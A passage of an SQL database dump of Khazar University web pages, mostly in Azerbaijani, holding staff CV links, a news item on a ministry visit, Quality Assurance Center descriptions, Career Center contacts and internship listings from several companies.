style=\"width:150px;height:223px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Melek_Kerimova_CV.pdf\">Melek&nbsp;Kerimova</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_18_photo_jamala.JPG\" style=\"width:150px;height:202px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Jamala_Mammadova_CV.doc\">&nbsp;Jamala&nbsp;Mammadova</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div></div><div><div><br></div><div><a href=\"http://www.khazar.org/files/demo/LamiyaSharafkhanova_CV.doc\">Lamiya&nbsp;Sharafkhanova</a>&nbsp; &nbsp;&nbsp;</div><div><br></div><div><a href=\"http://www.khazar.org/files/demo/Ata_Tezba%C5%9Faran_CV.pdf\">Ata&nbsp;Tezbaşaran</a>&nbsp;</div><div><br></div><div><a href=\"http://www.khazar.org/files/demo/Giray_Berberoglu_CV.doc\">Giray&nbsp;Berberoglu&nbsp;</a></div>  <br></div>  <br><br><div><br></div><div><br></div>'),(6327,3598,'az','Təhsil Nazirliyi Elm sektorunun müdiri Xəzər Universitetində oldu','2018-ci il oktyabrın 31-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar...','<p>2018-ci il oktyabrın 31-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Azərbaycan Respublikasının Təhsil Nazirliyinin Elm sektorunun müdiri Anar Kazımovu qəbul etdi. Görüşdə universitetin rektoru Dr. Hassan Niknafs, Elmi işlər üzrə prorektor İradə Xəlilova və Magistratura, doktorantura və elmi-tədqiqatlar işləri bölməsinin müdiri Eldar Şahgəldiyev iştirak etdilər. Görüş zamanı doktorların təhsili, müdafiəsi, və digər məsələlər müzakirə olundu. Qonaq Xəzər Universitetinin Nanotexnologiya və İnşaat materialları laboratoriyaları, və Hüceyrə Patologiyası Tədqiqat Mərkəzi ilə tanış oldu, elm və tədqiqat işlərini yüksək qiymətləndirdi.</p>'),(1186,483,'az','İşçi heyəti','İşçi heyəti','<br><p><a href=\"http://www.khazar.org/files/quality_center/CV%20Lyudmila%20Sotova.pdf\" target=\"_blank\"><img src=\"/files/quality_center/Picture_LS.jpg\" style=\"border:0px #0000ee;width:150px;height:208px;margin:1px 7px 7px;float:left\"><strong>Lyudmila Sotova</strong></a><a href=\"http://www.khazar.org/files/CV_Lyudmila_Sotova.docx\"></a></p><p>Direktor</p><p><a href=\"mailto:lsotova@khazar.org\">lsotova[at]khazar.org</a>  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><a href=\"http://www.khazar.org/files/quality_center/CV-Europass-20171102-Farman-EN.pdf\" target=\"_blank\"><img src=\"/files/quality_center/GetPersonaPhoto.jpg\" style=\"border:0px #0000ee;width:150px;height:205px;margin:1px 7px 7px;float:left\"><strong>Cəmilə Fərman</strong></a></p><p>Assistent</p><p><a href=\"mailto:jfarman@khazar.org\">jfarman[at]khazar.org</a></p>'),(1187,484,'az','Tarixi','Tarixi','<div><p>Xəzər Universiteti Keyfiyyətin Təminatı Mərkəzi 1999-ci ildə&nbsp; Nottinqem Trent Universiteti (Böyük Britaniya) və Haarlem Universitetinin (Hollandiya) birgə əməkdaşlığı ilə həyata keçirilən TEMPUS proqramının &nbsp;\"Xəzər Universitetində Keyfiyyətin Təminatı Mərkəzinin inkişafı\" layihəsi (1999-2001)&nbsp; çərçivəsində yaradılmışdır.</p><p>2008-ci ildə TEMPUS proqramının \"Azərbaycan universitetlərində təhsildə keyfiyyətin təminatı sistemlərinin yaradılması\" layihəsi çərçivəsində Bakı Dövlət Universiteti və Azərbaycan Dillər Universitetində Keyfiyyətin Təminatı mərkəzləri yaradılmaqla Xəzər Universitetində Keyfiyyətin Təminatı Mərkəzinin fəaliyyəti genişləndi. Vinçester Universiteti (Böyük Britaniya), III Karlos Universiteti (İspaniya) və Varşava Universiteti (Polşa) ilə sıx əməkdaşlıq keyfiyyətin təminatında təlim, nəzarət və mütəxəssis dəstəyi ilə nəticələndi. Digər ali məktəblər (Harvard Universiteti, Kaliforniya / Los Ancels Universiteti, Princeton Universiteti, və s) və Xəzərin professor-müəllim heyəti arasında bu sahədə əməkdaşlıqlar, məsləhətləşmələr davam edir.</p></div>'),(1190,487,'az',' Daxili mütəxəssislər tərəfindən qiymətləndirilmə',' Daxili mütəxəssislər tərəfindən qiymətləndirilmə','<div><ul><li>Universitetin bütün fəaliyyət sahələrində daimi özünü qiymətləndirmə (kompleks təhlillər), əsas istiqamətlərdə inkişafın izlənilməsi</li><li>Təhsil, tədris və fənlər üzrə müxtəlif işçi proqramlara daimi yeni nəzər salmaqla, onların müntəzəm monitorinqinin həyata keçirilməsi</li><li>Cari tədris proqramlarının həyata keçirilməsinin təhlili və mütəxəssislərin treyninqlər keçməsində keyfiyyətin təmin olunması</li><li>Sistemli SWOT analizlər (4 kateqoriya - güclü tərəflər, zəif tərəflər, imkanlar və təhlükələr üzrə strateji planlama metodları) və təhsil prosesinin daxili təftiş edilməsi</li><li>Təhsil prosesində kəmiyyət və keyfiyyət göstəricilərinin yoxlanılması.</li></ul></div>'),(1191,488,'az',' Kənar mütəxəssislər tərəfindən qiymətləndirilmə',' Kənar mütəxəssislər tərəfindən qiymətləndirilmə','<p>Mütəxəssis qiymətləndirilməsi Təhsil Nazirliyinin mütəxəsisləri tərəfindən həyata keçirilir (universitet fəaliyyətinin ümumi &nbsp;təhlili).</p><p>Mütəxəssis qiymətləndirilməsi həmçinin xarici mütəxəssislər tərəfindən də həyata keçirilir (beynəlxalq layihələr çərçivəsində proqram qiymətləndirilməsi və s.).</p>'),(1192,489,'az','Keyfiyyətə nəzarət və keyfiyyətin idarə olunması','Keyfiyyətə nəzarət və keyfiyyətin idarə olunması','<p>Keyfiyyətə nəzarət və keyfiyyətin idarə olunması tələbə qəbulu, tədris və təlim prosesi, tələbələrə dəstək, əlaqə və təmsil etmə, qiymətləndirmə və kənar yoxlamalar kimi proseslərin inkişafında Xəzər Universitetinə dəstək verir.</p>'),(1193,490,'az','Keyfiyyətin təmin olunmasında universitet idarəçiliyi','Keyfiyyətin təmin olunmasında universitet idarəçiliyi','<div><p><strong>Universitetin Elmi Şurası</strong>&nbsp;(Direktorlar və Qəyyumlar Şurası, Rektorluq, Dekanlar, akademik departament və professor-müəllim heyətinin nümayəndələri və tələbələr) -&nbsp;təhsil prosesinin ümumi strategiyası, təhsilin yeni sahələrində, tədris proqramlarının hazırlanmasında və keyfiyyətin&nbsp; təminatında qərarların qəbul edilməsi məsələlərinə nəzarət edir.</p><p><strong>Elmi tədqiqatlar şöbəsi -&nbsp;</strong>tədris proqramlarının işlənməsi, təhlili və təsdiq olunması (hər ilin əvvəllində yenilənir), təhsil proqramlarının həyata keçirilməsi və&nbsp; onların məzmunun təhlili, tədris prosesinə metodoloji dəstək və nəzarət olunmasını həyata keçirir.</p><p><strong>Keyfiyyətin Təminatı Mərkəzi -&nbsp;</strong>təhsil fəaliyyətinə nəzarət, daxili yoxalamaların aparılması, təhsilin perspektivli sahələrinin tövsiyə olunması, əmək bazarının təhlili və s. kimi məsələləri həyata keçirir.</p></div>'),(1194,491,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p><a href=\"http://www.khazar.org/files/quality_center/CV%20Lyudmila%20Sotova.pdf\">Lyudmila Sotova</a>, Direktor</p><p><a href=\"mailto:lsotova@khazar,org\" target=\"_blank\">lsotova@khazar.org<strong>&nbsp;</strong></a></p><p><strong></strong>Xəzər Universiteti&nbsp;(Neftçilər kampusu)</p><p>Məhsəti 41,&nbsp;&nbsp;AZ 1096</p><p>Bakı,&nbsp;Azərbaycan</p><p>Tel:&nbsp;<a href=\"tel:%2B99412%204211093\" target=\"_blank\">+99412 4211093</a>&nbsp; (ext. 211)</p><p>Faks:&nbsp;<a href=\"tel:%2B99412%204989379\" target=\"_blank\">+99412 4989379</a></p>'),(1195,492,'az','Faydalı məlumatlar','Faydalı məlumatlar','<p><strong>Keyfiyyətin təminatı ilə əlaqədar faydalı məlumatlar üçün aşağıdakı linklərə baxa bilərsiniz.</strong></p><p><a href=\"http://www.ehea.info/\">The European Higher Education Area</a></p><p><a href=\"http://www.enqa.eu/\">The European Association for&nbsp;Quality Assurance&nbsp;in&nbsp;Higher Education&nbsp;</a></p><p><a href=\"http://www.inqaahe.org/\">The International Network for Quality Assurance Agencies in Higher Education&nbsp;</a></p><p><a href=\"https://www.eqar.eu/\">European Quality Assurance Register for Higher Education</a></p><p><a href=\"http://www.nqai.ie/documents/bolognasummary.pdf\">Qualifications Framework of the European Higher Education Area</a></p><p><a href=\"http://core-project.eu/documents/Tuning%20G%20Formulating%20Degree%20PR4.pdf\">A Tuning Guide to Formulating Degree Programme Profiles</a></p><p><a href=\"http://www.enqa.eu/wp-content/uploads/2013/06/ESG_3edition-2.pdf\">Standards and Guidelines for Quality Assurance in the European Higher Education Area</a></p><p><a href=\"http://ec.europa.eu/education/policy/higher-education/doc/quality_en.pdf\">Report on Progress in Quality Assurance in Higher Education</a></p><p><a href=\"http://www.eua.be/pubs/examining_quality_culture_part_1.pdf\">Examining Quality Culture: Part 1 – Quality Assurance Processes in Higher Education Institutions</a></p>'),(1209,507,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p><strong><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\"><img src=\"http://www.khazar.org/files/letters/Sabina_al.jpg\" style=\"float:left;width:150px;height:245px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Səbinə Allahverənova</a></strong></p><p><strong>Peşə Mərkəzinin Meneceri</strong></p><p>Beynəlxalq Əlaqələr üzrə bakalavr (Girne American&nbsp;University,&nbsp;ŞKTR, Kipr)&nbsp;</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Sallahveranova@khazar.org\">sallahveranova@khazar.org</a>&nbsp; &nbsp;&nbsp;</p>  <p><strong>Telefon</strong>: (+994 12) 421 79 16&nbsp;(212)  <br></p>  <p><br></p><p><br></p><p><br></p><p><strong>İş saatı</strong></p><p>Həftə&nbsp;içi: 9:00 - 18:00</p><p>Nahar fasiləsi: 13:00 – 14:00</p><p><strong><br></strong></p><p><strong>Ünvan</strong></p><p>Köhnə bina II mərtəbə, Neftçilər kampusu, Məhsəti k. 41,&nbsp;Otaq 211</p><p>Xəzər Universiteti, Bakı, AZ1096, Azərbaycan</p>\r\n<p><strong><br></strong></p><p><strong>Telefon</strong>: (+994 12) 421 7916 (212)</p><p><strong>Faks</strong>: (+994 12) 498 93 79&nbsp;</p><p><strong><br></strong></p><p><strong>Ümumi məlumat üçün</strong>:&nbsp;</p><p><a href=\"mailto:careercenter@khazar.org\">careercenter[at]khazar.org</a>  </p><p><strong><br></strong></p><p><strong>Bizi Facebookda izləyin</strong>:&nbsp;</p><p><a href=\"https://www.facebook.com/KhazarUniversityCareerCenter/\">Xəzər Universiteti Peşə Mərkəzi</a></p>'),(3340,1960,'az','Lyon 2 Universiteti nümayəndə heyəti ilə görüş keçirildi','2017-ci il martın 3-də Xəzər Universitetində Lyon 2 Universitetinin nümayəndələri ilə görüş keçirildi. Görüşün əsas məqsədi iki universitet arasında gələcək əməkdaşlıq...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil martın 3-də Xəzər Universitetində Lyon 2 Universitetinin nümayəndələri ilə\r\ngörüş keçirildi. Görüşün əsas məqsədi iki universitet\r\narasında gələcək əməkdaşlıq perspektivlərini müzakirə etmək idi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı,\r\nuniversitetin rektoru Hassan Niknafs, Tədris işləri üzrə prorektoru Məhəmməd\r\nNuriyev, dekanlar və digər heyət üzvləri iştirak edirdilər. Hamlet İsaxanlı\r\nqonaqları salamladıqdan sonra universitetinin İnkişaf direktoru Raziyə İsayeva\r\nXəzər Universiteti haqqında məruzə ilə çıxış etdi. Lyon 2 Universitetinin Beynəlxalq\r\nəlaqələr üzrə prorektoru Jim Walker isə öz universiteti haqqında görüş\r\niştirakçılarına məlumat verdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşün sonunda iki universitet arasında\r\nanlaşma memorandumu imzalandı.</p>'),(1206,505,'az','Onlayn kurslar','Onlayn kurslar','<div><br></div><div><p>Listen and learn how to Body Language.</p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/mMmUm17oWEc\" frameborder=\"0\"></iframe><img src=\"http://www.khazar.org/tmp/mfe/assets/9b8f1898/elrte/images/pixel.gif\"><p>&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><p>Listen and learn how to write a winning CV for Job vacancies.</p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/whucmWvO0bI\" frameborder=\"0\"></iframe><p>&nbsp;</p><p>&nbsp;</p><br><hr><p>&nbsp;</p><p>&nbsp;</p><p>Learn what to do before, during&nbsp;<strong>salary package</strong><strong>&nbsp;negotiating.</strong>&nbsp;Including how to approach interests.</p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/JRzEMz60g-Q\" frameborder=\"0\"></iframe><p><br></p><p><img src=\"http://www.khazar.org/tmp/mfe/assets/9b8f1898/elrte/images/pixel.gif\"></p><p>&nbsp;</p><hr><p>&nbsp;</p><p>Do you need letters of recommendation, but don\'t know how to get them? Watch online workshop,&nbsp;<strong>Letter of Recommendation: Tips &amp; Strategies&nbsp;</strong>to learn how to get the best letters possible.&nbsp;</p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/uHJ6R0QQRr0\" frameborder=\"0\"></iframe><p><br></p><img src=\"http://www.khazar.org/tmp/mfe/assets/9b8f1898/elrte/images/pixel.gif\">  <br></div>'),(1203,502,'az','Təcrübə proqramları','Təcrübə proqramları','<p><strong>ALMA Consulting and Investment MMC 3 aylıq&nbsp;TƏCRÜBƏ proqramı elan edir.</strong><br></p><p>Davamlı inkişafı dəstəkləyən, təşəbbüskar və innovativ\r\nkonsepsiyalı \'ALMA Consulting and Investment MMC\' 2016-ci ildə yaradılmışdır.</p><p>&nbsp;\'ALMA Consulting and\r\nInvestment MMC\' məsələhət və investisiya sahəsində fəaliyyət göstərən şirkətdir.\r\nBizim fəaliyyət sahəmizə daxildir: * Layihələrin idarə edilməsi * Keyfiyyət\r\nsisteminin qurulması * Təlimlər. \'ALMA Consulting and Investment\' nin yönəldiyi\r\nbaşlıca istiqamətlər: * iri şirkətlər * orta şirkətlər.&nbsp;</p>\r\n<p>ALMA tələbələr üçün aşağıdakı təcrübə proqramlarını elan\r\nedir.&nbsp;</p>  <p><strong>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Biznesin İnkişafı sahəsi</strong></p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3-cü\r\nvə 4-cü kurs tələbələri</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İdarəetmə\r\nsahəsi üzrə təhsil alanlar</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Marketinq\r\nsahəsi üzrə təhsil alanlar</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Digital\r\nmarketinq haqqında məlumatlı olanlar</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yaradıcı və&nbsp;Məsuliyyətli&nbsp;</p>  <p><strong>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Marketinq və Satış sahəsi</strong></p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3-cü\r\nvə 4-cü kurs tələbələri</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İdarəetmə\r\nsahəsi üzrə təhsil alanlar</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Marketinq\r\nsahəsi üzrə təhsil alanlar</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Digital\r\nmarketinq haqqında məlumatlı olanlar</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Səlist\r\ndanışıq və natiqlik qabiliyyəti</p>\r\n<p>- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Yaradıcı və&nbsp;Məsuliyyətli  </p>\r\n<p><strong>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Layihələrin İdarə Edilməsi\r\nsahəsi</strong></p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3-cü\r\nvə 4-cü kurs tələbələri</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İdarəetmə\r\nsahəsi üzrə təhsil alanlar</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Marketinq\r\nsahəsi üzrə təhsil alanlar</p>\r\n<p>- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Yaradıcı və&nbsp;Məsuliyyətli  </p>\r\n<p><br></p><p><strong>”\r\nZuleykha” Jurnalında Kontent Menecer və İnterna vəzifələri vakantdır!</strong></p><p>Komandamız\r\naktiv həyat yaşayan yaradıcı gənclər axtarışındadır.</p><p>İşə\r\nbaşlamazdan əvvəl layiqli namizədlər təlimləndiriləcəkdir. Bizə yazın</p><p><a href=\"mailto:hello@zuleykha.az\">hello@zuleykha.az</a></p>\r\n<p>&nbsp;QEYD:\r\nEmail ad hissəsində müraciət etdiyiniz vakansiyanın adını mütləq qeyd edin.&nbsp;</p><p>İnterna: </p><ul type=\"disc\">\r\n <li>*Dəb\r\n     və ən son müasir qadın mövzularından məlumatlı olmaq </li>\r\n <li>Sosial\r\n     medi vasitələrindən istifadə bacarığı </li>\r\n <li>Təşkilatçılıq\r\n     bacarığı * Araşdırma və axtarış qabiliyyəti </li>\r\n <li>Ünsiyyətcil\r\n     və aktiv </li>\r\n <li>*Qoyulmuş\r\n     hədəfləri zamanında və tələb olunan şəkildə nail olmaq qabiliyyəti </li>\r\n <li>*Özü\r\n     öz səhvləri üzərində işləyib nəticə çıxarmaq </li>\r\n <li>Təşəbbüskarlıq\r\n     və çərçivədən kənar düşünmə qabiliyyəti </li>\r\n <li>Əsasən\r\n     Azərbaycan dili, eləcə də Rus və İngilis dillərini bilənlərə üstünlük\r\n     veriləcək </li>\r\n <li>1-3\r\n     kurs tələbələrinə üstünlük veriləcək</li></ul><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong>Beyn</strong><strong>əlxalq\r\nAvrasiya Mətbuat Fondu təcrübə proqramını elan edir.</strong></p><p>Təcrübə\r\nproqramının məqsədi tələbələri şəxsi və peşəkar inkişaf imkanları iıə təmin etməkdir.\r\nBu proqram ödənişsizdir. Təcrübə proqramı başa çatdıqdan sonra sizin\r\nperformansınızdan asılı olaraq final yazılı qiymətləndirmə və sertifikat veriləcəkdir.</p>\r\n<p><strong>DAHA ƏTRAFLI:</strong></p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYer:\r\nBakı, Azərbaycan<strong></strong></p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMüddət:\r\n2-3 ay ( potensiala görə uzana bilər)<strong></strong></p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİş\r\nsaatları: Dəyişkəndir, lakin təlim və seminarlarda iştirak, tapşırıqları yazmaq\r\nməcburidir.<strong></strong></p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBağlanış\r\ntarixi: 10 Noyabr 2016</p>\r\n<p><strong>ƏTRAFLI\r\nBAXIŞ</strong><strong>:</strong></p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUğurlu\r\nnamizədlər Proqram Şöbəsinin sıx nəzarəti altında İEPF baş ofisində işləyəcəklər.</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nJurnalistika\r\nvə akademik yazıçılıq barədə 3 günlük təlim təklif olunacaqdır, bu təlimlərdə\r\niştirak təcrübə proqramını uğurla tamamlamaq üçün vacibdir.</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUğurlu\r\nnamizədlər vacib tədbirlərin həyata keçirilməsi, tədqiqatların icrası, elektron\r\npoçtların və sənədlərin tərcüməsi, lazım gəldikdə tərcümə xidmətləri ilə təmin\r\nertmək və çağdaş problemlərin analizinin icrasına görə məsuliyyət daşıyırlar.<strong>&nbsp;</strong></p>\r\n<p><strong>ƏSAS\r\nFƏALİYYƏT SAHƏLƏRİ </strong></p>\r\n<p><strong>İEPF\r\n– Avrasiya jurnalı </strong>(əlavə\r\nməlumat üçün baş çəkin: <a href=\"http://www.iepf-ngo.org/\">http://www.iepf-ngo.org/</a> və <a href=\"http://eurasiadiary.com/\">http://eurasiadiary.com/</a> )</p>\r\n<br><ul><li>Medyanın\r\ninkişafı</li><li>Qaçqın\r\nvə İDP problemləri</li><li>İctimaiyyətin\r\ninkişafı</li><li>Sülh\r\nfəalliyyətləri və münaqişələrin həlli</li><li>Lazımi bacarıq və təcrübələr</li><li>Hazırki\r\ntələbələr və universitet məzunları</li><li>Yaxşı\r\nşəxsi və ünsiyyət bacarıqları</li><li>Yaxşı\r\nanaliz etmə bacarığı və politologiya/iqtisadiyyat/siyasi elmlər/beynəlxalq əlaqələr\r\nbilikləri</li><li>Beynəlxalq\r\ntəşkilatlarla işləmək və qeyri-kommersiya akademik təşkilatlarla əməkdaşlıq\r\nimkanlarlarının inkişafı üçün güclü motivasiya</li><li>İngilis\r\nvə Azərbaycan dili şərtdir. Rus, ərəb və türk dili arzu olunandır.</li><li>Kompüter\r\nbilikləri Microsoft Office, Outlookİnternet</li><li>Gərgin\r\nofisdə işləmək bacarığı təzyiq altında işləmək bacarığı, şəxsi təşəbbüslərini\r\nnümayiş etdirmək</li><li>Nəticələri\r\nçatdırmaqda israrlı , aktiv və həvəsli komanda iştirakçısı</li></ul><br>\r\n<p>Necə baş vurmalı</p>\r\n<p>Maraqlanan tələbələr təqdim etməlidirlər</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHazırki\r\nCV niz</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÖz\r\nmaraqlarını əhatə edən istək məktubu (bir səhifə)</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYazı\r\nvə analiz bacarıqlarını nümayiş etdirən akademik yazı nümunəsi (max. 1000 söz)</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUğurlu\r\nnamizədlər 14 Noyabrda məlumatlandırılacaqlar.</p>\r\n<p>&nbsp;</p>\r\n<p>Ərizələr Xəzər universitetinin Karyera İnkişaf mərkəzinə\r\ntəqdim olunmalıdır.</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:13.5pt;background:white\"\"=\"\">&nbsp;</p>  <p><br></p><p><br></p><p><br></p><p><strong>PWC </strong></p><p><strong>Haqqımızda</strong><strong></strong>:\r\n</p>\r\n<p>PwC\r\nsənaye ictimai etimadın artırılması və müştərilərimiz və maraqlı tərəflər üçün\r\ndəyər artırmaq üçün audit, vergi və biznes konsaltinq xidmətləri göstərir.\r\nBizim şəbəkə&nbsp; 157 ölkə-dən çox 195,000 nəfər\r\narasında təcrübə, və perspektivlər və praktiki məsləhətlər inkişaf etdirir. </p>\r\n<p><strong>Təcrübə İmkanları</strong> : </p>\r\n<p>&nbsp;Biz çox məmnunuq ki , ən yaxşı məzunlar və iş\r\ndünyası PWC təcrübə proqramına inanırlar beləliklə əgər &nbsp;ən yaxşı bir yerlə öz kareyrana başlamaq istəyirsinizsə\r\nbiz sizdən xəbər gözləyirik ! </p>\r\n<p>Bizim\r\ntəcrübə proqramı sizi &nbsp;misilsiz\r\nimkanlarla təcrübəli insanlarla işləmək yeni bacarıq və keyfiyyətlərlə təmin edə\r\nbilər , üniversitetdə öyrəndiklərinizi tədbiq etmək və iş həyatında PWC-də necə\r\nişləmək imkanı verəcək . </p>\r\n<p>Aparıcı\r\ntəcrübə proqramımıza qoşulun və siz bizim qrupun bir parçası olacaqsınız müştərilərin\r\nhər fəaliyyəti ilə tanış olacaq, işlərini anlmaq və müəyyənləşirmək üçün bizim\r\nyüksək keyfiyyətli fikir və dəyərlərimizi əlavə edə bilərsiniz . </p>\r\n<p>Koorparativ\r\nidarəetməyə giriş kritik məsələdir və etbirarlılıq vacib rol oynayır bizness\r\ninformasiyasının aktuallığıdır . </p>\r\n<p>Nifuzlu\r\nmüştərilərimizlə işləmək və biznes bacarıqlarınızin inkişafı və karyera üçün\r\nehtiyacınız olduğu bilik və münasibətləri əldə edəcəksiniz .</p>\r\n<p>Biz\r\n6-9 ay ərzində böyük ailənin&nbsp; bir hissəsi\r\nolmaq üçün itəcrübə imkanı&nbsp; təklif\r\nedirik.</p>\r\n<p>Proqram\r\nərzində siz müştəri öhdəliklərin vasitəsilə çətin və müvafiq işlər həyata keçirəcəksiniz,\r\nşəbəkə tədbirləri və digər həyəcanverici fürsətlər əldə edəcəksiniz . </p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Siz əldə edəcəksiniz</strong> : </p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBeynəlxalq Standartlar çərçivəsində yoxlamalarda iştirak etmək </p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaliyyə Hesabatlarının Beynəlxalq Standartlarına əsasən maliyyə\r\nhesabatlarının hazırlanması zamanı müştərilərə yardım</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDavranış audit / müştərilərin mühasibat uçotu və nəzarət sistemləri\r\nbaxış prosedurları</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMəsləhət və konsultant öhdəliklərində&nbsp;\r\niştirak etmək imkanı var</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTreyninqlərə qatılmaqla İnformasiya texnologiyalarında texniki\r\nbacarıqları inkişaf etdirmək və Bizim audit dəstək və əməliyyat proqram təminatından\r\nistifadə</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Tələblər</strong> : </p>\r\n<p>İdeal namizəd kimi siz sahib olmalısınız :</p>\r\n<br><ul><li>Uzun müddətli karyera müddəti ərzində audit öhdəliyi</li><li>Maliyyə, mühasibat, iqtisadiyyat, riyaziyyat və statistika üzrə&nbsp; universitet məzunu / magistr dərəcəsi</li><li>Şifahi və yazılı Azərbaycan, rus və ingilis güclü səviyyədə bilmə</li><li>Microsoft Office təcrübəli bilik</li><li>Güclü analitik və problem qruluşu bacarıqları</li><li>Güclü ünsiyyət və komanda ilə işləmək bacarığı</li><li>Azərbaycan regionlarına və xaricə səyahətdə çeviklik</li><li>Aktiv yanaşma və müxtəlif 